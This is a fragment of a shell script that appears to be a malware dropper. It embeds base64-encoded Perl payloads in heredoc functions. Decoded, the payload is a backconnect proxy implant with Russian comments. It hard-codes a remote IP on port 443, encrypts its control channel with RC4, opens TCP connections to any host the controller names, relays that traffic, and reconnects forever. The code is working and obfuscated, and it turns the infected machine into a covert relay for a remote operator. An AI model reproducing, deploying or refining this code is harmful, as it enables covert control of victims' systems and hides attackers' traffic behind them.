ZW1haW5pbmcgIT0gMCk7CiAgICAgICAgICAgICAgICAgICAgbGFzdCBpZiAoJHJlbWFpbmluZzQg
IT0gMCk7CgogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcm51bGwsIDAsIDMpOwogICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJb
MF0sICRidWZmZXJudWxsLCBsZW5ndGgoJGJ1ZmZlcm51bGwpKTsKICAgICAgICAgICAgICAgIH0K
CiAgICAgICAgICAgICAgICBuZXh0OwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBp
ZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKICAgICAgICAgICAgaWYg
KCRlZHggPT0gMCkgewogICAgICAgICAgICAgICAgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkg
ZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CiAgICAgICAg
ICAgICAgICAgICAgJGlzRXhpdCA9IDE7CiAgICAgICAgICAgICAgICAgICAgbGFzdDsKICAgICAg
ICAgICAgICAgIH0gZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5
WyRlYnhdID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAw
OwogICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoKICAgICAgICAg
ICAgICAgICAgICB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsKICAgICAgICAgICAgICAgICAg
ICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAg
IHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCiAgICAgICAgICAgICAgICAg
ICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwogICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAg
ICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkZWN4ID0g
JGVkeDsKICAgICAgICAgICAgICAgICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCiAgICAgICAg
ICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRy
ZW1haW5pbmcgKyA0KTsKCiAgICAgICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0K
CiAgICAgICAgICAgICAgICAkcmVtYWluaW5nICs9ICRkYXRhOwogICAgICAgICAgICAgICAgJGxh
c3RfYWN0aXZpdHkgPSB0aW1lKCk7CgogICAgICAgICAgICAgICAgaWYgKCRlZHggPT0gJHJlbWFp
bmluZykgewogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoKICAgICAgICAgICAgICAgICAgICBpZiAodmVjKHN1YnN0
cigkYnVmZmVyMCwgMCwgMSksIDAsIDgpID09IDApIHsKICAgICAgICAgICAgICAgICAgICAgICAg
c29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5
bmFtZSgndGNwJykpOwoKICAgICAgICAgICAgICAgICAgICAgICAgJF9yZXQwID0gMDsKICAgICAg
ICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEzKSA9ICJceDAwXHgwQVx4MDBceDA1XHgw
MVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwIjsKICAgICAgICAgICAgICAgICAgICAg
ICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAgICAgICAgICAgIHN1
YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7CgogICAgICAgICAgICAgICAgICAgICAg
ICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwg
MSk7CiAgICAgICAgICAgICAgICAgICAgICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwg
U09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYpKTsKICAgICAgICAgICAgICAg
ICAgICAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19TTkRC
VUYsIHBhY2soIkkiLCA2NTUzNikpOwoKICAgICAgICAgICAgICAgICAgICAgICAgZmNudGwoJHNv
Y2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwg
MCkgfCBPX05PTkJMT0NLKTsKCiAgICAgICAgICAgICAgICAgICAgICAgICMg0J7Qv9GA0LXQtNC1
0LvQtdC90LjQtSDRgtC40L/QsCDQsNC00YDQtdGB0LAgKNC+0YDQuNCz0LjQvdCw0LvRjNC90LDR
jyDQu9C+0LPQuNC60LApCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICh2ZWMoc3Vic3RyKCRi
dWZmZXIwLCA3LCAxKSwgMCwgOCkgPT0gMykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAg
JGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSks
IDAsIDgpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwb3J0MCA9IHZlYyhzdWJzdHIo
JGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKSAu
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRidWZmZXIw
LCA5ICsgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSksIDAsIDgpICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywg
MSksIDAsIDgpID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkb21haW4gPSBz
cHJpbnRmKCIlZC4lZC4lZC4lZCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVj
KHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpLCAwLCA4KSwKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLAogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSwg
MCwgOCksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVjKHN1YnN0cigkYnVmZmVy
MCwgOCArIDMsIDEpLCAwLCA4KSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcG9ydDAg
PSB2ZWMoc3Vic3RyKCRidWZmZXIwLCAxMiArIDAsIDEpIC4KICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgIGdvdG8gY2xvc2VfOwogICAgICAgICAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAg
ICAgICAgICAgICAjINCj0YHRgtCw0L3QvtCy0LrQsCDRgdC+0LXQtNC40L3QtdC90LjRjyDRgSDR
htC10LvQtdCy0YvQvCDRgdC10YDQstC10YDQvtC8CiAgICAgICAgICAgICAgICAgICAgICAgIGV2
YWwgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4o
JHBvcnQwLCBpbmV0X2F0b24oJGRvbWFpbikpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAg
Y29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAx
OwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4s
IHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoKICAgICAgICAgICAgICAgICAgICAgICAgICAg
IGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0s
IEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICRfcmV0MCA9IDE7CiAgICAgICAgICAgICAgICAgICAgICAgIH07CgogICAgICAgICAgICAg
ICAgICAgICAgICBjbG9zZV86CgogICAgICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4
b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CiAgICAgICAgICAgICAgICAgICAgICAgIFJj
NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CiAgICAgICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgbGVuZ3RoKCRyZXNw
b25jZSkpOwoKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRfcmV0MCA9PSAwKSB7CiAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwogICAgICAgICAg
ICAgICAgICAgICAgICAgICAgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgogICAgICAgICAgICAg
ICAgICAgICAgICAgICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi
OwoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBc
JHJlc3BvbmNlLCAwLCAzKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRz
b2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0K
ICAgICAgICAgICAgICAgICAgICB9IGVsc2lmICgkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVy
MCwgJHJlbWFpbmluZywgNCk7CiAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAg
ICAgICAkcmVtYWluaW5nID0gMDsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQoKICAg
ICAgICAgICAgJHJlbWFpbmluZzQgPSAwOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRl
YXggPSA0OwogICAgICAgICAgICAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0OwoKICAgICAgICAg
ICAgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWlu
aW5nNCk7CgogICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0KCiAgICAgICAgICAg
ICRyZW1haW5pbmc0ICs9ICRkYXRhOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUo
KTsKICAgICAgICAgICAgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAi
OwogICAgICAgICAgICAkY291bnRlciA9IDA7CgogICAgICAgICAgICBpZiAoJHJlbWFpbmluZzQg
PT0gNCkgewogICAgICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVy
MCwgMCwgNCk7CgogICAgICAgICAgICAgICAgJGVieCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDEs
IDEpLCAwLCA4KTsKICAgICAgICAgICAgICAgICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1
ZmZlcjAsIDIsIDIpKTsKCiAgICAgICAgICAgICAgICAkX3JldCA9IDE7CiAgICAgICAgICAgIH0K
ICAgICAgICB9CiAgICB9CgogICAgY2xvc2UwOgoKICAgIGNsb3NlKCRzb2NrZXRhcnJbMF0pOwoK
ICAgIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewogICAgICAgIGlmICgkc29ja2V0
YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CiAgICB9CgogICAgaWYg
KCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgogICAgcmV0dXJuICRfcmV0Owp9CgojID09PT09PT09
PT09PT09PT09PT09PT0g0JPQm9CQ0JLQndCr0Jkg0KbQmNCa0Jsg0KEg0K3QmtCh0J/QntCd0JXQ
ndCm0JjQkNCb0KzQndCe0Jkg0JfQkNCU0JXQoNCW0JrQntCZID09PT09PT09PT09PT09PT09PT09
PT0KbXkgJHJldHJ5X2RlbGF5ID0gMTsKbXkgJG1heF9yZXRyeV9kZWxheSA9IDE4MDsKCndoaWxl
KDEpIHsKICAgIGlmIChiY2NuY3Rfb3B0aW1pemVkKFwkaG9zdCwgXCRwb3J0KSkgewogICAgICAg
ICRyZXRyeV9kZWxheSA9IDE7ICAjINCh0LHRgNC+0YEg0LfQsNC00LXRgNC20LrQuCDQv9GA0Lgg
0YPRgdC/0LXRhdC1CiAgICAgICAgc2xlZXAgMTsKICAgIH0gZWxzZSB7CiAgICAgICAgc2xlZXAg
JHJldHJ5X2RlbGF5OwogICAgICAgICRyZXRyeV9kZWxheSA9ICRyZXRyeV9kZWxheSAqIDI7CiAg
ICAgICAgJHJldHJ5X2RlbGF5ID0gJG1heF9yZXRyeV9kZWxheSBpZiAkcmV0cnlfZGVsYXkgPiAk
bWF4X3JldHJ5X2RlbGF5OwogICAgfQp9Cg==
PAYLOAD_EOF
}
bin_55() {
cat << 'PAYLOAD_EOF'
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0
Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZf
R0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4yMDInOwpt
eSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7CmZvciAobXkgJGkgPSAw
OyAkaSA8IDUwOyAkaSsrKSB7IHZlYygkeG9yZGF0YSwgJGksIDgpID0gaW50KHJhbmQoMjU1KSk7
IH0KCiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd
0KvQmSBSQzQgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgUmM0X2NyeXB0X2Zhc3QgewogICAg
bXkgKCRwYXNzdywgJGxlbmd0aCwgJGJ1ZmYwLCAkc3RhcnQsICRzeikgPSBAXzsKCiAgICAjINCR
0YvRgdGC0YDRi9C5INC00L7RgdGC0YPQvyDQuiDQtNCw0L3QvdGL0LwKICAgIG15ICRkYXRhX3Jl
ZiA9ICQkYnVmZjA7CiAgICBteSAka2V5X3JlZiA9ICQkcGFzc3c7CgogICAgIyDQn9C10YDQstGL
0LkgWE9SINGBINC60LvRjtGH0L7QvAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsr
KSB7CiAgICAgICAgdmVjKCRkYXRhX3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3Jl
ZiwgJGkgJSAkbGVuZ3RoLCA4KTsKICAgIH0KCiAgICAjINCY0L3QuNGG0LjQsNC70LjQt9Cw0YbQ
uNGPIFJDNCAo0YLQvtGH0L3QsNGPINC60L7Qv9C40Y8g0L7RgNC40LPQuNC90LDQu9GM0L3QvtCz
0L4g0LDQu9Cz0L7RgNC40YLQvNCwKQogICAgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKICAgIHZl
YygkcmM0LCAkXywgOCkgPSAkXyBmb3IgMC4uMjU1OwoKICAgIG15ICRwb2NrZW1vbjAgPSAwOwog
ICAgbXkgJHBvY2tlbW9uMSA9IDA7CiAgICBteSAkcG9ja2Vtb24yID0gMDsKICAgIG15ICRwb2Nr
ZW1vbjMgPSAkbGVuZ3RoOwogICAgbXkgJGdzID0gMDsKCiAgICB3aGlsZSgxKSB7CiAgICAgICAg
aWYgKCRncyA9PSAwKSB7CiAgICAgICAgICAgICRwb2NrZW1vbjIgPSAwOwogICAgICAgICAgICAk
cG9ja2Vtb24zID0gJGxlbmd0aDsKICAgICAgICB9CgogICAgICAgIGlmICgkZ3MgIT0gMCkgewog
ICAgICAgICAgICAkZ3MgPSAwOwogICAgICAgICAgICAkcG9ja2Vtb24yKys7CiAgICAgICAgICAg
IGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CiAgICAgICAgfQoKICAgICAgICBteSAk
cG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwogICAgICAgICRwb2NrZW1vbjEg
Kz0gdmVjKCRrZXlfcmVmLCAkcG9ja2Vtb24yLCA4KTsKICAgICAgICAkcG9ja2Vtb24xICY9IDI1
NTsKICAgICAgICAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CiAgICAgICAgJHBvY2tlbW9uMSAm
PSAyNTU7CgogICAgICAgIG15ICRwb2NrZW1vbjYgPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7
CiAgICAgICAgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gJHBvY2tlbW9uNjsKICAgICAgICB2
ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoKICAgICAgICAkcG9ja2Vtb24w
Kys7CiAgICAgICAgJHBvY2tlbW9uMCAmPSAyNTU7CgogICAgICAgIGlmICgkcG9ja2Vtb24wICE9
IDApIHsKICAgICAgICAgICAgJGdzID0gMTsKICAgICAgICAgICAgbmV4dDsKICAgICAgICB9Cgog
ICAgICAgICMg0J7RgdC90L7QstC90L7QtSDRiNC40YTRgNC+0LLQsNC90LjQtQogICAgICAgICRw
b2NrZW1vbjEgPSAwOwogICAgICAgICRwb2NrZW1vbjAgPSAwOwogICAgICAgICRwb2NrZW1vbjIg
PSAwOwoKICAgICAgICBmb3IgKG15ICRwb2NrZW1vbjMgPSAwOyAkcG9ja2Vtb24zIDwgJHN6OyAk
cG9ja2Vtb24zKyspIHsKICAgICAgICAgICAgJHBvY2tlbW9uMisrOwogICAgICAgICAgICAkcG9j
a2Vtb24yICY9IDI1NTsKCiAgICAgICAgICAgICRwb2NrZW1vbjcgPSB2ZWMoJHJjNCwgJHBvY2tl
bW9uMiwgOCk7CiAgICAgICAgICAgICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKICAgICAgICAg
ICAgJHBvY2tlbW9uMSAmPSAyNTU7CgogICAgICAgICAgICBteSAkcG9ja2Vtb244ID0gdmVjKCRy
YzQsICRwb2NrZW1vbjEsIDgpOwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMiwgOCkg
PSAkcG9ja2Vtb244OwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9j
a2Vtb243OwoKICAgICAgICAgICAgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwogICAgICAgICAg
ICAkcG9ja2Vtb244ICY9IDI1NTsKCiAgICAgICAgICAgIHZlYygkZGF0YV9yZWYsICRzdGFydCAr
ICRwb2NrZW1vbjMsIDgpIF49IHZlYygkcmM0LCAkcG9ja2Vtb244LCA4KTsKICAgICAgICB9Cgog
ICAgICAgIGxhc3Q7CiAgICB9CgogICAgIyDQktGC0L7RgNC+0LkgWE9SINGBINC60LvRjtGH0L7Q
vAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsrKSB7CiAgICAgICAgdmVjKCRkYXRh
X3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3JlZiwgJGkgJSAkbGVuZ3RoLCA4KTsK
ICAgIH0KCiAgICAkJGJ1ZmYwID0gJGRhdGFfcmVmOwp9CgojINCe0LHQtdGA0YLQutCwINC00LvR
jyDRgdC+0LLQvNC10YHRgtC40LzQvtGB0YLQuCDRgSDQvtGA0LjQs9C40L3QsNC70YzQvdGL0Lwg
0LLRi9C30L7QstC+0LwKc3ViIFJjNF9jcnlwdCB7CiAgICBSYzRfY3J5cHRfZmFzdChAXyk7Cn0K
CiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd0KvQ
mSBCQ0NOQ1QgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgYmNjbmN0X29wdGltaXplZCB7CiAg
ICBteSAoJGhvc3QsICRwb3J0KSA9IEBfOwoKICAgIG15ICRyZW1haW5pbmcgPSAwOwogICAgbXkg
JHJlbWFpbmluZzQgPSAwOwogICAgbXkgJGRvbWFpbjsKICAgIG15ICRwb3J0MDsKICAgIG15IEBz
b2NrZXRhcnI7CiAgICBteSBAc29ja2V0YXJyYXk7CiAgICBteSAkYnVmZmVyID0gIlx4MDAiIHgg
MTAwOwogICAgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMFx4MDBceDAwIjsKICAgIG15ICRidWZmZXIw
ID0gIlx4MDAiIHggNjU1MzY7CiAgICBteSAkYnVmZmVyMSA9ICJceDAwIiB4IDY1NTM2OwogICAg
bXkgJGlzRXhpdCA9IDA7CiAgICBteSAkX3JldDAgPSAwOwogICAgbXkgJGVjeCA9IDA7CiAgICBt
eSAkZWF4ID0gMDsKICAgIG15ICRkYXRhID0gMDsKICAgIG15ICRfcmV0ID0gMDsKICAgIG15ICRl
YnggPSAwOwogICAgbXkgJGVkeCA9IDA7CiAgICBteSAkY291bnRlciA9IDA7CiAgICBteSAkY291
bnRjYyA9IDA7CiAgICBteSAkcmluID0gJyc7CiAgICBteSAkc3RyX3ZlYyA9ICJceDAwIjsKICAg
IG15ICRzdHJfd2VjID0gIlx4MDBceDAwIjsKCiAgICBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7
ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCiAgICBteSAkcmVzcG9uY2UgPSAiXHgw
MFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgogICAg
IyDQodC+0LfQtNCw0L3QuNC1INC4INC90LDRgdGC0YDQvtC50LrQsCDQs9C70LDQstC90L7Qs9C+
INGB0L7QutC10YLQsAogICAgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RS
RUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpIG9yIHJldHVybiAwOwoKICAgIHNldHNvY2tvcHQo
JHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKICAgIHNldHNvY2tv
cHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYp
KTsKICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCBw
YWNrKCJJIiwgNjU1MzYpKTsKCiAgICBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGlu
ZXRfYXRvbigkJGhvc3QpKTsKICAgIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRk
cikpIHsgZ290byBjbG9zZTA7IH0KCiAgICAjINCe0YLQv9GA0LDQstC60LAgaGFuZHNoYWtlCiAg
ICBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CiAgICBzdWJzdHIoJGJ1ZmZlciwg
NTAsIDIpID0gIlx4RkZceEZGIjsKICAgIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwg
c2NyaXB0IjsKCiAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7
CiAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoK
ICAgIG15ICRsYXN0X2FjdGl2aXR5ID0gdGltZSgpOwoKICAgIHdoaWxlKDEpIHsKICAgICAgICAj
INCf0YDQvtCy0LXRgNGP0LXQvCDRgtCw0LnQvNCw0YPRgiDQvdC10LDQutGC0LjQstC90L7RgdGC
0LgKICAgICAgICBpZiAodGltZSgpIC0gJGxhc3RfYWN0aXZpdHkgPiA2MCkgewogICAgICAgICAg
ICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKICAgICAgICAg
ICAgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVs
bCkpOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUoKTsKICAgICAgICB9CgogICAg
ICAgICRjb3VudGNjID0gMDsKICAgICAgICAkcmluID0gJyc7CgogICAgICAgICMg0J/RgNC+0LLQ
tdGA0Y/QtdC8INCw0LrRgtC40LLQvdGL0LUg0YHQvtC60LXRgtGLICjRhtC10LvQtdCy0YvQtSDR
gdC10YDQstC10YDRiykKICAgICAgICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsK
ICAgICAgICAgICAgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgewogICAgICAgICAgICAgICAg
dmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpID0gMTsKICAgICAgICAgICAgICAg
ICRjb3VudGNjKys7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgICMg0J7QsdGA0LDQ
sdC+0YLQutCwINC00LDQvdC90YvRhSDQvtGCINGG0LXQu9C10LLRi9GFINGB0LXRgNCy0LXRgNC+
0LIKICAgICAgICBpZiAoJGNvdW50Y2MgPiAwKSB7CiAgICAgICAgICAgIHVubGVzcyAoc2VsZWN0
KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9CgogICAgICAgICAg
ICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsKICAgICAgICAgICAgICAgIGlmICgo
JHNvY2tldGFycmF5WyRpXSA9PSAxKSAmJiB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGld
KSwgMSkpIHsKICAgICAgICAgICAgICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclsk
aV0sICRidWZmZXIxLCA2NTUzMCwgMyk7CgogICAgICAgICAgICAgICAgICAgIHVubGVzcyAoJGRh
dGEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRpXSA9IDA7CiAgICAg
ICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAg
ICAgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsKICAgICAgICAgICAgICAgICAg
ICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOwoKICAgICAgICAgICAg
ICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2Us
IDMsIDApOwogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAg
